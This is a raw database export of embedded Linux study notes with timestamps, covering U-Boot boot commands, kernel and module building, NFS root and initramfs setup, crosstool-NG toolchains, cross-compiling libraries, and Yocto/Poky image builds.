...\n* ext2info, ext2ls, ext2size, ext2write,...\n* ext3info, ext3ls, ext3size, ext3write,...\n* ext4info, ext4ls, ext4size, ext4write,...\n* sqfsinfo, sqfsls, sqfssize, sqfswrite,... text txt 2024-07-28 10:07:04.684576 -4287 1116 tftp code txt 2024-07-28 10:07:04.910165 -4288 1117 ping code txt 2024-07-28 10:07:05.156508 -4289 1118 `loads`, `loadb`, `loady` commands. text txt 2024-07-28 10:07:05.334893 -4290 1119 ping code txt 2024-07-28 10:07:05.559483 -4291 1120 mmc code txt 2024-07-28 10:07:05.788793 -4292 1121 nand code txt 2024-07-28 10:07:06.005149 -4293 1122 erase\nprotect\ncp code txt 2024-07-28 10:07:06.276556 -4294 1123 md code txt 2024-07-28 10:07:06.499443 -4295 1124 mm code txt 2024-07-28 10:07:06.717242 -4296 1125 bdinfo code txt 2024-07-28 10:07:06.941318 -4297 1126 printenv\nprintenv code txt 2024-07-28 10:07:07.186246 -4298 1127 setenv code txt 2024-07-28 10:07:07.404217 -4299 1127 Origin 10:20:00 text txt 2024-07-28 10:07:07.426006 -4300 1128 editenv code txt 2024-07-28 10:07:07.644381 -4301 1129 saveenv code txt 2024-07-28 10:07:07.873004 -4302 1130 Commands will be executed after a configurable delay `bootdelay`, if process\nis not interrupted. text txt 2024-07-28 10:07:08.143622 -4303 1130 setenv bootcmd 'tftp 0x21000000 zImage; tftp 0x22000000 dtb; bootz 0x21000000 - 0x22000000' code txt 2024-07-28 10:07:08.165638 -4304 1131 setenv bootargs '' code txt 2024-07-28 10:07:08.396113 -4305 1132 * `serverip`\n* `ipaddr`\n* `netmask`\n* `ethaddr` text txt 2024-07-28 10:07:08.632481 -4306 1133 After using `tftp`, `fatload`, `nand read...`, etc. commands, the size of\ncopy can be seen by: text txt 2024-07-28 10:07:08.918374 -4307 1133 filesize code txt 2024-07-28 10:07:08.94016 -4308 1134 U-Boot shell uses the same conditional expression as Bash: text txt 2024-07-28 10:07:09.200199 -4309 1134 setenv mmc-boot 'if fatload mmc 0 80000000 boot.ini; then source; else if fatload mmc 0 80000000 zImage; then run mmc-do-boot; fi; fi' code txt 2024-07-28 10:07:09.221197 -4310 1135 setenv \nrun code txt 2024-07-28 10:07:09.468679 -4311 1136 The same way that Unix shell references variables using braces: text txt 2024-07-28 10:07:09.724226 -4312 1136 ${variable-name} code txt 2024-07-28 10:07:09.743679 -4313 1137 When a command is used to load some file into RAM as follows: text txt 2024-07-28 10:07:10.098612 -4315 1137 Then by executing `source` command, the contents within `boot.ini` file which\nwas recently loaded will be read. This file should obbey the syntax of U-Boot\nshell variables. By reading these variables, the boot sequence can be changed\naccordingly. text txt 2024-07-28 10:07:10.141753 -4316 1138 editenv bootcmd\nsaveenv code txt 2024-07-28 10:07:10.401459 -4317 1139 res code txt 2024-07-28 10:07:10.652091 -4318 1140 The official `raspbberypi` repository holds the `boot` directory where\n`start.elf` file and the device tree files can be found: text txt 2024-07-28 10:07:10.975803 -4319 1140 wget -c 'https://github.com - https://github.com/raspberrypi/firmware/blob/master/boot/start.elf'\nwget -c 'https://github.com - https://github.com/raspberrypi/firmware/blob/master/boot/bcm2708-rpi-zero.dtb' code txt 2024-07-28 10:07:10.998099 -4320 1141 1. Boot loader (Raspberry Pi specific SPL)\n2. Kernel image\n3. Device trees text txt 2024-07-28 10:07:11.760338 -4321 1141 First download Raspberry Pi device specific SPL and device tree binary files. text txt 2024-07-28 10:07:11.781032 -4322 1141 wget -c 'https://github.com - https://github.com/raspberrypi/firmware/blob/master/boot/start.elf'\nwget -c 'https://github.com - https://github.com/raspberrypi/firmware/blob/master/boot/bcm2708-rpi-zero.dtb' code txt 2024-07-28 10:07:11.801501 -4323 1141 Then partition the SD card which is used to attach to the device: text txt 2024-07-28 10:07:11.821914 -4324 1141 fdisk /dev/sda code txt 2024-07-28 10:07:11.843348 -4325 1141 Create a 100M sized partition and set the bootable flag.\nThen format that bootable partition with vfat filesystem: text txt 2024-07-28 10:07:11.863636 -4326 1141 mkfs -t vfat /dev/sda1 code txt 2024-07-28 10:07:11.883647 -4327 1141 Mount it and then copy `u-boot.bin`, `start.elf` (raspberrypi repository),\n`bcm2708-rpi-zero.dtb` (raspbberypi repository) files into the filesystem: text txt 2024-07-28 10:07:11.903625 -4328 1141 mount /dev/sda1 /mnt\ncp * /mnt\numount /mnt code txt 2024-07-28 10:07:11.924127 -4329 1142 qemu-system-arm --machine help code txt 2024-07-28 10:07:12.166908 -4330 1143 qemu-system-arm --machine raspi0 --nographic --kernel u-boot code txt 2024-07-28 10:07:12.388246 -4331 1144 git format-patch text txt 2024-07-28 10:07:12.575331 -4332 1145 export ARCH=arm\nexport CROSS_COMPILE=arm-black-linux-gnueabi- code txt 2024-07-28 10:07:12.860711 -4333 1146 cp /boot/config-$(uname -r) .config\nzcat /proc/config.gz > .config code txt 2024-07-28 10:07:13.123293 -4334 1147 make savedefconfig\nmv defconfig arch//configs/custom_defconfig code txt 2024-07-28 10:07:13.384487 -4335 1148 * `bool`: `true`, `false`\n* `tristate`: `true`, `module`, `false`\n* `int`\n* `hex`: `CONFIG_PAGE_OFFSET=0xC0000000`\n* `string`: `CONFIG_LOCAL_VERSION=-no-network` text txt 2024-07-28 10:07:13.772582 -4336 1148 menuconfig ATA\n tristate "Serial ATA and Parallel ATA drivers (libata)" code txt 2024-07-28 10:07:13.79379 -4337 1149 * `depends on`: option B that depends on option A is not visible until option\n A is enabled.\n* `select`: option B that depends on option A, when option A is enabled,\n option B is automatically enabled. text txt 2024-07-28 10:07:14.228744 -4338 1149 menuconfig ATA\n tristate "Serial ATA and Parallel ATA drivers (libata)"\n depends on HAS_IOMEM\n depends on BLOCK\n select SCSI\n select GLOB code txt 2024-07-28 10:07:14.250382 -4339 1150 make -j8 code txt 2024-07-28 10:07:14.505256 -4340 1151 export CROSS_COMPILE="ccache arm-black-linux-gnueabi-" code txt 2024-07-28 10:07:14.75458 -4341 1152 * `vmlinuz`: raw uncompressed kernel image for debugging\n* `arch//boot/\\\\*Image`: `(bzImage, zImage, Image.gz)` final and usually compressed kernel image that can be booted\n* `arch//boot/dts/\\\\*.dtb`: compiled device tree files\n* `.ko`: kernel object files spread over the kernel source tree text txt 2024-07-28 10:07:15.034544 -4342 1153 * `make install`\n* `make modules_install`\n* `make headers_install`\n* `make dtb_install` text txt 2024-07-28 10:07:15.313265 -4343 1154 make install code txt 2024-07-28 10:07:15.560842 -4344 1155 * `/boot/vmlinuz-`: compressed kernel image, same as the one in `arch//boot`\n* `/boot/System.map-`: store kernel symbol addresses for debugging purposes\n* `/boot/config-`: kernel configuration for this version text txt 2024-07-28 10:07:15.797345 -4345 1156 The kernel image, device tree blobs, and kernel modules will be needed to\nboot up a device. text txt 2024-07-28 10:07:16.159333 -4346 1156 cp arch//boot/Image /mnt/\ncp arch//boot/dts//.dtb /mnt/\nmkdir /mnt/rootfs\nmake modules_install INSTALL_MOD_PATH=/mnt/rootfs code txt 2024-07-28 10:07:16.181089 -4347 1157 make modules_install code txt 2024-07-28 10:07:16.441277 -4348 1158 make INSTALL_MOD_PATH=/srv/nfs4/root modules_install # for NFS filesystem\nmake INSTALL_MOD_PATH=/mnt # for Flash, SD Card, NAND filesystems code txt 2024-07-28 10:07:16.703629 -4349 1159 Artifacts will be installed in `/lib/modules//`: text txt 2024-07-28 10:07:17.005031 -4350 1159 * `kernel/`: all `.ko` files in the same directory structure as in the source.\n* `modules.alias`, `modules.alias.bin`: used by udev to find drivers for devices.\n* `modules.dep`, `modules.dep.bin`: module dependencies mapping.\n* `modules.symbols`, `modules.symbols.bin`: tells which module a given symbol belongs to. text txt 2024-07-28 10:07:17.025944 -4351 1160 * `make clean`\n* `make mrproper`\n* `make distclean` text txt 2024-07-28 10:07:17.283174 -4352 1161 git archive --prefix=black-linux-6.2/ -o /tmp/black-linux-6.2.tar.gz 6.2 code txt 2024-07-28 10:07:17.556309 -4353 1162 Some devices don't have the capability of introducing themselves to the\nkernel. This is where the device developers should write device descriptions\nin a device tree source file to let the kernel know how to deal with this\ndevice. text txt 2024-07-28 10:07:17.877954 -4354 1162 code txt 2024-07-28 10:07:17.899176 -4355 1163 Device tree source has a hierarchical structure, first describing the inner\ndetails of a device and then outer layers. This allows us to add features or\nchange specific aspects of hardware in the source. text txt 2024-07-28 10:07:18.135349 -4356 1164 bootz X - Y (zImage)\nbootm X - Y (uImage)\nbooti X - Y (Image) code txt 2024-07-28 10:07:18.4353 -4357 1165 setenv serverip 192.168.0.2\nsetenv ipaddr 192.168.0.3\nsetenv bootargs 'console=ttyS0,115200 8250.nr_uarts=1 swiotlb=128 maxcpu=1' # rasbperry pi specific\nsaveenv\ntftp ${kernel_addr_r} Image\ntftp ${fdt_addr-r} .dtb\nbooti ${kernel_addr_r} code txt 2024-07-28 10:07:18.795527 -4358 1166 setenv bootcmd "load mmc 0:1 ${kernel_addr_r} Image; load mmc 0:1 ${fdt_addr_r} .dtb; booti ${kernel_addr_r} - ${fdt_addr_r};"\nsaveenv\nres code txt 2024-07-28 10:07:19.071684 -4359 1167 setenv bootcmd 'tftp ${kernel_addr_r} Image; tftp ${fdt_addr_r} .dtb; booti ${kernel_addr_r} - ${fdt_addr_r}'\nsaveenv\nres code txt 2024-07-28 10:07:19.350881 -4360 1168 The kernel command line is a string that defines various arguments to the\nkernel to change its behavior. text txt 2024-07-28 10:07:19.690193 -4361 1168 root=/dev/mmcblk0p2 rootwait\nconsole=ttyS0 code txt 2024-07-28 10:07:19.710205 -4362 1169 The most important ones are documented in admin-guide/kernel-parameters in\ndocumentation. text txt 2024-07-28 10:07:19.925868 -4423 1195 sed -i '/^MACHINE[ ?=]\\\\+/s/^MACHINE\\\\([ ?=]\\\\+\\\\).*/MACHINE\\\\1"qemuarm64"/' conf/local.conf code txt 2024-07-28 10:07:30.297526 -4933 1398 Origin: Effectively use module commands text txt 2024-07-28 10:08:56.078902 -4363 1170 1. Passed by the bootloader, `bootargs` in U-Boot.\n2. Specified in the device tree.\n3. Built into the kernel using `CONFIG_CMDLINE` config option.\n4. A combination of above depending on the kernel configuration. text txt 2024-07-28 10:07:20.17955 -4364 1171 These files are generated when you run `make modules_install`: text txt 2024-07-28 10:07:20.493459 -4365 1171 /lib/modules//modules.dep\n/lib/modules//modules.dep.bin code txt 2024-07-28 10:07:20.513927 -4366 1172 The kernel log buffer is circular. text txt 2024-07-28 10:07:20.800568 -4367 1172 sudo journalctl -k code txt 2024-07-28 10:07:20.821244 -4368 1173 console=ttyS0 root=/dev/mmcblk0p2 loglevel=5\nconsole=ttyS0 root=/dev/mmcblk0p2 quiet code txt 2024-07-28 10:07:21.086145 -4369 1174 echo "Debug info" > /dev/kmsg code txt 2024-07-28 10:07:21.323262 -4370 1175 Modules residing in `/lib/modules` will not need `.ko` extension. text txt 2024-07-28 10:07:21.646696 -4371 1175 sudo modinfo \nsudo modinfo .ko code txt 2024-07-28 10:07:21.668613 -4372 1176 lsmod code txt 2024-07-28 10:07:21.949514 -4373 1176 This tool will list the content of `/proc/modules` in a human readable form. text txt 2024-07-28 10:07:21.969884 -4374 1177 A complete path to the kernel object file is required by `insmod`. text txt 2024-07-28 10:07:22.282506 -4375 1177 sudo insmod .ko code txt 2024-07-28 10:07:22.304313 -4376 1177 Arguments can be given to the modules after module name. text txt 2024-07-28 10:07:22.324718 -4377 1178 sudo modprobe code txt 2024-07-28 10:07:22.563078 -4378 1179 You can find modprobe configuration file in `/etc/modprobe.d/` directory. text txt 2024-07-28 10:07:22.876255 -4379 1179 */etc/modprobe.d/usb-storage.conf*\noptions usb-storage delay_use=0 code txt 2024-07-28 10:07:22.897108 -4380 1180 usb-storage.delay_use=0 code txt 2024-07-28 10:07:23.148596 -4381 1181 `/sys/module//parameters/` text txt 2024-07-28 10:07:23.472213 -4382 1181 Some modules give you write access to module parameters. text txt 2024-07-28 10:07:23.492235 -4383 1181 echo 0 > /sys/module/usb_storage/parameters/delay_use code txt 2024-07-28 10:07:23.512319 -4384 1182 mount -t type device mountpoint text txt 2024-07-28 10:07:23.851276 -4385 1182 mount -t ext4 /dev/sda1 /mnt\nmount -t ext4 /dev/sda2 /mnt/boot\nmount -t ext4 /dev/sda3 /mnt/home code txt 2024-07-28 10:07:23.872452 -4386 1183 umount mountpoint text txt 2024-07-28 10:07:24.211821 -4387 1183 umount /mnt/boot\numount /mnt/home\numount /mnt code txt 2024-07-28 10:07:24.234186 -4388 1184 * Hard Disk\n* USB Key\n* SD Card\n* NAND Flash\n* NFS Protocol\n* Preloaded Filesystem (by bootloader) text txt 2024-07-28 10:07:24.692085 -4389 1184 *kernel parameter*\nroot=/dev/sdXY # Hard Disk or USB Key\nroot=/dev/mmcblkXpY # SD Card\nroot=/dev/mtdblockX # Flash Storage code txt 2024-07-28 10:07:24.713696 -4390 1185 **NFS Server** text txt 2024-07-28 10:07:25.308912 -4391 1185 */etc/exports*\n/srv/nfs4/root 192.168.1.111(rw,no_root_squash,no_subtree_check) code txt 2024-07-28 10:07:25.331324 -4392 1185 **NFS Client** text txt 2024-07-28 10:07:25.352404 -4393 1185 Following kernel configuration options should be enabled on client: text txt 2024-07-28 10:07:25.373454 -4394 1185 * `CONFIG_NFS_FS=y`\n* `CONFIG_IP_PNP=y`\n* `CONFIG_ROOT_NFS=y` text txt 2024-07-28 10:07:25.394317 -4395 1185 The kernel should also be booted with the following parameters: text txt 2024-07-28 10:07:25.416058 -4396 1185 root=/dev/nfs ip=192.168.1.111 nfsroot=192.168.1.110:/srv/nfs4/root/ code txt 2024-07-28 10:07:25.436577 -4397 1186 *qemu-ifup*\n#!/bin/sh\n/sbin/ip a add 192.168.0.1/24 dev $1\n/sbin/ip link set $1 up code txt 2024-07-28 10:07:26.075236 -4398 1186 qemu-system-arm -M virt -m 128M -nographic -kernel u-boot -cpu cortex-a8 -nic tap,script=./qemu-ifup,model=e1000 code txt 2024-07-28 10:07:26.096396 -4399 1186 *u-boot*\nsetenv ipaddr 192.168.0.20\nping 192.168.0.1\nsetenv serverip 192.168.0.1\nsetenv bootargs 'root=/dev/nfs ip=192.168.0.20 nfsroot=192.168.0.1:/srv/nfs4/root rw'\nsaveenv\ntftp ${kernel_addr_t} Image\nbooti ${kernel_addr_t} - 0x40000000 code txt 2024-07-28 10:07:26.118308 -4400 1187 cd root\nfind . | cpio -H newc -o > ../initramfs.cpio\ncd ..\ngzip initramfs.cpio code txt 2024-07-28 10:07:26.618326 -4401 1187 For U-Boot, include the archive in a U-Boot container: text txt 2024-07-28 10:07:26.638736 -4402 1187 mkimage -n 'Ramdisk Image' -A arm -O linux -T ramdisk -C gzip -d initramfs.cpio.gz uInitramfs\nbootz ${kernel_addr_t} ${initramfs_addr_t} ${fdt_addr_t} code txt 2024-07-28 10:07:26.658987 -4403 1187 In kernel config, use `CONFIG_INITRAMFS_SOURCE=/srv/nfs4/root/initramfs.cpio`. text txt 2024-07-28 10:07:26.680565 -4404 1188 The `devtmpfs` virtual filesystem can be mounted on `/dev` and contains all\nthe devices registered to kernel frameworks. The `CONFIG_DEVTMPFS_MOUNT`\nkernel configuration option makes the kernel mount it automatically at boot\ntime, except when booting on an initramfs. text txt 2024-07-28 10:07:26.962724 -4405 1189 mount -t proc nodev /proc code txt 2024-07-28 10:07:27.223118 -4406 1190 In `/proc` filesystem. text txt 2024-07-28 10:07:27.50442 -4407 1190 cat /proc//cmdline code txt 2024-07-28 10:07:27.526055 -4408 1191 * `/proc/interrupts`\n* `/proc/devices`\n* `/proc/iomem`\n* `/proc/ioports`\n* `/proc/cmdline`: contains kernel command line\n* `/proc/sys`: also known as *sysctl*, contains many files that can be written to adjust kernel parameters. text txt 2024-07-28 10:07:27.821163 -4409 1192 Represents buses, devices and drivers in the system.\nThis filesystem is usually used by `udev` or `mdev`. text txt 2024-07-28 10:07:28.129608 -4410 1192 mount -t sysfs nodev /sys code txt 2024-07-28 10:07:28.150774 -4411 1193 * Use the command specified by `init` kernel command line parameter.\n* Try running `/sbin/init`, `/bin/init`, `/etc/init`, and `/bin/sh`.\n* When `initramfs` used, only `/init` will run or `rdinit` kernel argument is used.\n* Kernel panic. text txt 2024-07-28 10:07:28.478719 -4412 1193 code txt 2024-07-28 10:07:28.498814 -4413 1194 *init.c*\n#include text txt 2024-07-28 10:07:29.106353 -4414 1194 int main(void)\n{\n fprintf(stdout, "Init program\\\\n");\n while (true);\n} code txt 2024-07-28 10:07:29.126618 -4415 1194 arm-black-linux-gnueabihf-gcc -o simple_init -static init.c\ncp simple_init /srv/nfs4/root/ code txt 2024-07-28 10:07:29.146589 -4416 1194 setenv bootargs 'console=ttyS0,115200 maxcpu=1 root=/dev/nfs ip=192.168.0.20 nfsroot=192.168.0.1:/srv/nfs4/root rw init=/simple_init'\nsaveenv\nres code txt 2024-07-28 10:07:29.167766 -4417 1195 First obtain the source tree: text txt 2024-07-28 10:07:30.175294 -4418 1195 git clone git://git.yoctoproject.org/poky code txt 2024-07-28 10:07:30.195482 -4419 1195 Import the build configurations and environments by sourcing the `oe-init-build-env` script file on the project's root directory. text txt 2024-07-28 10:07:30.21683 -4420 1195 source oe-init-build-env code txt 2024-07-28 10:07:30.237032 -4421 1195 Second argument can be specified as a custom directory path where artifacts will be generated.\nWhen not specified, `build` directory will be generated in the working directory. text txt 2024-07-28 10:07:30.257373 -4422 1195 Before building an image, you should edit and configure the `build/local.conf` file and set `MACHINE` variable to whatever target you desire, e.g. qemuarm, qemuarm64, qemux86-64, etc. text txt 2024-07-28 10:07:30.277787 -4937 1400 Only dynamically loaded modules. text txt 2024-07-28 10:08:56.629714 -4424 1195 Using `bitbake` utility which was sourced earlier build an image by choice: text txt 2024-07-28 10:07:30.317835 -4425 1195 bitbake core-image-minimal code txt 2024-07-28 10:07:30.337495 -4426 1195 There might be dependency packages to run `bitbake` on Arch Linux: text txt 2024-07-28 10:07:30.357271 -4427 1195 sudo pacman -Ss inetutils net-tools diffstat chrpath rpcscv-proto code txt 2024-07-28 10:07:30.378096 -4428 1195 An image was built to be run by `runqemu`: text txt 2024-07-28 10:07:30.400859 -4429 1195 runqemu core-image-minimal nographics code txt 2024-07-28 10:07:30.421204 -4430 1195 Origin: 1.2 text txt 2024-07-28 10:07:30.441744 -4431 1196 Add the following line to `build/local.conf` file: text txt 2024-07-28 10:07:30.783491 -4432 1196 ```\nIMAGE_INSTALL_append = " binutils"\n`````` text txt 2024-07-28 10:07:30.803347 -4433 1196 bitbake qemuarm64 core-image-minimal\nrunqemu core-image-minimal nographics code txt 2024-07-28 10:07:30.824168 -4434 1196 Origin: 1.2 text txt 2024-07-28 10:07:30.844817 -4435 1197 We just need to configure `conf/local.conf` file and add the following line before building an image: text txt 2024-07-28 10:07:31.316131 -4436 1197 ```\necho 'IMAGE_INSTALL_appen = " binutils"' >> conf/local.conf\n`````` text txt 2024-07-28 10:07:31.335455 -4437 1197 And the follow up all the steps required to build an image using `bitbake`: text txt 2024-07-28 10:07:31.356366 -4438 1197 git clone git://git.yoctoproject.org/poky\ncd poky\nsource oe-init-build-env\nsed -i '/^MACHINE[ ?=]\\\\+/s/^MACHINE\\\\([ ?=]\\\\+\\\\).*/MACHINE\\\\1"qemuarm64"/' conf/local.conf\nbitbake qemuarm64 core-image-sato\nrunqemu core-image-sato code txt 2024-07-28 10:07:31.377297 -4439 1197 Origin: 1.2 text txt 2024-07-28 10:07:31.397743 -4440 1198 - Applications to install\n- Architecture to use\n- License restrictions text txt 2024-07-28 10:07:31.649612 -4441 1199 - Bootloader such as U-Boot, GRUB, Syslinux etc.\n- Linux kernel image with added or removed features as necessary\n- Root filesystem usually called rootfs containing the files\n- List of licenses of packages included in the rootfs\n- The source for distribution to comply on the copyleft requirements text txt 2024-07-28 10:07:31.914783 -4442 1200 The build system used within the Yocto Project is *Poky* which is composed by\na set of files to provide the information required for the build system to\nwork. text txt 2024-07-28 10:07:32.117567 -4443 1201 - **Metadata** tool is a collection of Shell and Python scripts, and a custom\n configuration language, informing the steps needed to build, download the\n source code and other tasks related to a specific software application or\n library.\n- **BitBake** is the build orchastration tool, responsible to generate, order\n and run the tasks based on the information gathered from the metadata\n files. text txt 2024-07-28 10:07:32.412335 -4444 1202 There are two sub-modules in the Metadata component: text txt 2024-07-28 10:07:32.803753 -4445 1202 - **OpenEmbedded-Core:** the core infrastructure for the cross-compilation\n environment and offers the basic set of applications, libraries and\n utilities ready to used in Linux-based operating systems. Six different\n processor architectures (ARM, ARM64, x86, x86-64, PowerPC, MIPS and MIPS64)\n are supported in the system, and all tests and development is done using\n emulated machines, on QEMU.\n- **Yocto Project's Specific Metadata:** provided by the Yocto Project to\n configure the build system to fulfill Yocto Project needs and includes a\n set of board support packages (BSP). text txt 2024-07-28 10:07:32.826769 -4446 1203 - **Low level developers**\n + Board bring-up\n + Bootloader development\n + Kernel development\n + Device drvier development\n- **Application developers**\n + Application development\n + Application customization\n- **System architect**\n + Application list management\n + Software Development Kit (SDK) development\n + Integration into build system\n + Releases\n- **Legal authority**\n + License management text txt 2024-07-28 10:07:33.30344 -4447 1204 1. Board Bring-Up\n2. System Architecture and Design Choice\n3. Writing Embedded Applications\n4. Debugging and Optimizing Performance text txt 2024-07-28 10:07:33.645248 -4448 1205 1. Toolchain\n2. Bootloader\n3. Kernel\n4. Root filesystem\n5. Embedded Applications text txt 2024-07-28 10:07:33.889375 -4449 1206 1. CPU architecture\n2. Reasonable amout of RAM\n3. Non-volatile storage\n4. Serial port\n5. Debugging interface (e.g. JTAG) text txt 2024-07-28 10:07:34.148762 -4450 1207 * binutils **(base-devel)**: https://gnu.org - https://gnu.org/software/binutils\n* gcc **(base-devel)**: [https://gcc.gnu.org](https: - https://gcc.gnu.org](https://gcc.gnu.org)\n* C library + Linux header files text txt 2024-07-28 10:07:34.427832 -4451 1208 * CPU Architecture + Endianness (e.g. `x86_64`, `mipsel`, `armeb`)\n* Vendor (e.g. `buildroot`)\n* Kernel (e.g. `linux`)\n* Operating System + ABI (e.g. `gnueabi`, `gnueabihf`, `musleabi`, `musleabihf`) text txt 2024-07-28 10:07:34.701824 -4452 1209 gcc -dumpmachine code txt 2024-07-28 10:07:34.928312 -4453 1210 * glibc: https://gnu.org - https://gnu.org/software/libs\n* musl libs: [https://musl.libc.org](https: - https://musl.libc.org](https://musl.libc.org)\n* uClibc-ng: [https://uclibc-ng.org](https: - https://uclibc-ng.org](https://uclibc-ng.org)\n* eglibc: https://uclibc.org - https://uclibc.org/home text txt 2024-07-28 10:07:35.169529 -4454 1211 Toolchain can be completely built manually by [Cross Linux From Scratch](https://trac.clfs.org).\nAnother alternative to build toolchains is [crosstool-NG](https://crosstool-ng.github.io). text txt 2024-07-28 10:07:35.359299 -4455 1212 git clone https://github.com - https://github.com/crosstool-ng/crosstool-ng.git\ncd crosstool-ng\ngit checkout \n./bootstrap\n./configure --enable-local\nmake -j\n./ct-ng --version code txt 2024-07-28 10:07:35.734261 -4456 1213 ./ct-ng list-samples code txt 2024-07-28 10:07:35.974893 -4457 1214 ./ct-ng show-\n./ct-ng show-armv6-unknown-linux-gnueabihf\n./ct-ng show-arm-cortex_a8-linux-gnueabi\n./ct-ng show-arm-unknown-linux-gnueabi code txt 2024-07-28 10:07:36.294138 -4458 1215 Considering the processor used in this device which is `bmc2835` having an armv6 core, we should use the following target: text txt 2024-07-28 10:07:36.772554 -4459 1215 ./ct-ng distclean\n./ct-ng show-armv6-unknown-linux-gnueabihf\n./ct-ng armv6-unknown-linux-gnueabihf code txt 2024-07-28 10:07:36.793588 -4460 1215 Change following kernel configurations and set their values accordingly: text txt 2024-07-28 10:07:36.814995 -4461 1215 * Tarbal path\n* Build path\n* Vendor tuple text txt 2024-07-28 10:07:36.835934 -4462 1215 ./ct-ng build code txt 2024-07-28 10:07:36.85625 -4463 1216 ./ct-ng distclean\n./ct-ng show-arm-cortex_a8-linux-gnueabi\n./ct-ng arm-cortex_a8-linux-gnueabi code txt 2024-07-28 10:07:37.324718 -4464 1216 Change the following kernel configurations and set their values accordingly: text txt 2024-07-28 10:07:37.344273 -4465 1216 * **Paths and misc options** >> **Render the toolchain read-only**: disable\n* **Target options** >> **Floating point**: **hardware (FPU)**\n* **Target options** >> **Use specific FPU**: neon text txt 2024-07-28 10:07:37.364444 -4466 1216 ./ct-ng build code txt 2024-07-28 10:07:37.38545 -4467 1217 ./ct-ng distclean\n./ct-ng show-arm-unknown-linux-gnueai\n./ct-ng arm-unknown-linux-gnueai code txt 2024-07-28 10:07:37.81149 -4468 1217 Change the following kernel configurations and set their values accordingly: text txt 2024-07-28 10:07:37.830813 -4938 1400 Origin: Effectively use module commands text txt 2024-07-28 10:08:56.650319 -4469 1217 * **Paths and misc options** >> disable **Render the toolchain read-only** text txt 2024-07-28 10:07:37.850688 -4470 1217 ./ct-ng build code txt 2024-07-28 10:07:37.871267 -4471 1218 ${CROSS_COMPILE}gcc -v code txt 2024-07-28 10:07:38.085536 -4472 1219 ${CROSS_COMPILE}gcc -mcpu=cortex-a5 main.c -o app code txt 2024-07-28 10:07:38.309831 -4473 1220 ${CROSS_COMPILE}gcc --target-help code txt 2024-07-28 10:07:38.539672 -4474 1221 ${CROSS_COMPILE}gcc -print-sysroot code txt 2024-07-28 10:07:38.798208 -4475 1222 * libc (linked by default)\n* libm\n* libpthread\n* librt text txt 2024-07-28 10:07:39.019435 -4476 1223 ${CROSS_COMPILE}readelf -a app | grep "Shared library" code txt 2024-07-28 10:07:39.225501 -4477 1224 ${CROSS_COMPILE}readelf -a app | grep "program interpreter" code txt 2024-07-28 10:07:39.447907 -4478 1225 ${CROSS_COMPILE}gcc -static main.c -o app code txt 2024-07-28 10:07:39.712556 -4479 1226 SYSROOT=$(${CROSS_COMPILE}gcc -print-sysroot)\ncd $SYSROOT\nls -l usr/lib/libc.a code txt 2024-07-28 10:07:39.994662 -4480 1227 ${CROSS_COMPILE}gcc -c test1.o\n${CROSS_COMPILE}gcc -c test2.o\n${CROSS_COMPILE}ar rc libtest1.a test1.o test2.o\n${CROSS_COMPILE}gcc main.c -ltest -L../libs -I../include -o app code txt 2024-07-28 10:07:40.276688 -4481 1228 ${CROSS_COMPILE}gcc -fPIC -c test1.c\n${CROSS_COMPILE}gcc -fPIC -c test2.c\n${CROSS_COMPILE}gcc -shared -o libtest.so test1.o test2.o\n${CROSS_COMPILE}gcc main.c -ltest -L../libs -I../include -o app\n${CROSS_COMPILE}readelf -a app | grep library\n${CROSS_COMPILE}readelf -a app | grep interpreter code txt 2024-07-28 10:07:40.59733 -4482 1229 ${CROSS_COMPILE}readelf -a /usr/lib/x86_64-linux-gnu/libjpeg.so.8.2.2 | grep SONAME\nlibjpeg.so.8 code txt 2024-07-28 10:07:40.868055 -4483 1230 By using environment variables to specify toolchains: text txt 2024-07-28 10:07:41.25667 -4484 1230 export CROSS_COMPILE=armv6-rpi-linux-gnueabihf-\nmake code txt 2024-07-28 10:07:41.27646 -4485 1230 Or by specifying behind the `make` command directly: text txt 2024-07-28 10:07:41.296512 -4486 1230 make CROSS_COMPILE=armv6-rpi-linux-gnueabihf- code txt 2024-07-28 10:07:41.316086 -4487 1231 * GNU Autoconf [https::/gnu.org/software/autoconf/autoconf.html](https::/gnu.org/software/autoconf/autoconf.html)\n* GNU Automake https://gnu.org - https://gnu.org/savannah-checkouts/gnu/automake\n* GNU Libtool https://gnu.org - https://gnu.org/software/libtool/libtool.html\n* Gnulib https://gnu.org - https://gnu.org/software/gnulib text txt 2024-07-28 10:07:41.664612 -4488 1231 ./configure\nmake\nmake install code txt 2024-07-28 10:07:41.685467 -4489 1232 CC=armv6-rpi-linux-gnueabihf-gcc ./configure --host=armv6-rpi-linux-gnueabihf code txt 2024-07-28 10:07:41.89893 -4490 1233 wget http://www.sqlite.org/2020/sqlite-autoconf-3330000.tar.gz\ntar xf sqlite-autoconf-3330000.tar.gz\ncd sqlite-autoconf-3330000\nCC=armv6-rpi-linux-gnueabihf-gcc ./configure --host=armv6-rpi-linux-gnueabihf --prefix=/usr\nmake\nmake DESTDIR=$(armv6-rpi-linux-gnueabi-gcc -print-sysroot) install text txt 2024-07-28 10:07:42.266568 -4491 1233 armv6-rpi-linux-gnueabihf main.c -o sqlite-test -lsqlite3 code txt 2024-07-28 10:07:42.288288 -4492 1234 In order for `pkg-config` to address library and header files belonging to *sqlite3*, it should be able to see `/usr/lib/pkgconfig/sqlite3.pc`: text txt 2024-07-28 10:07:42.578411 -4493 1234 export CROSS_COMPILE="xtools/armv6-rpi-linux-gnueabihf-"\nexport PKG_CONFIG_LIBDIR=$(${CROSS_COMPILE}gcc -print-sysroot)/usr/lib/pkgconfig\n${CROSS_COMPILE}gcc $(pkg-config sqlite3 --cflags --libs) main.c -o sqlite-test code txt 2024-07-28 10:07:42.599988 -4494 1235 export CROSS_COMPILE="xtools/armv6-rpi-linux-gnueabihf-"\ncmake -S . -B build -D CMAKE_INSTALL_PREFIX:PATH=sysroot -D CMAKE_C_COMPILER:PATH=${CROSS_COMPILE}gcc\ncmake --build build --parallel 8 --target all\ncmake --build build --parallel 8 --target install code txt 2024-07-28 10:07:42.89016 -4495 1236 * **Phase 1 Rom Code**: loads a small chunk of code from first few pages of NAND, from flash memory connected through **Serial Peripheral Interface**, or from the first sector of an MMC device, or from a file named ML on the first partition of an MMC device.\n* **Phase 2 Secondary Program Loader (SPL)**: sets up memory controller and other essential parts of the system in preparation for loading the **TPL** into DRAM.\n* **Phase 3 Tertiary Program Loader (TPL)**: full bootloader such as U-Boot loads the kernel + optional FDT and initramfs into DRAM. text txt 2024-07-28 10:07:43.120753 -4496 1237 * The machine number, which is used on PowerPC and Arm platform without support for a device tree, to Identify the type of SoC.\n* Basic details of the hardware that's been detected so far, including the size and location of the physical RAM and the CPU's clock speed.\n* The 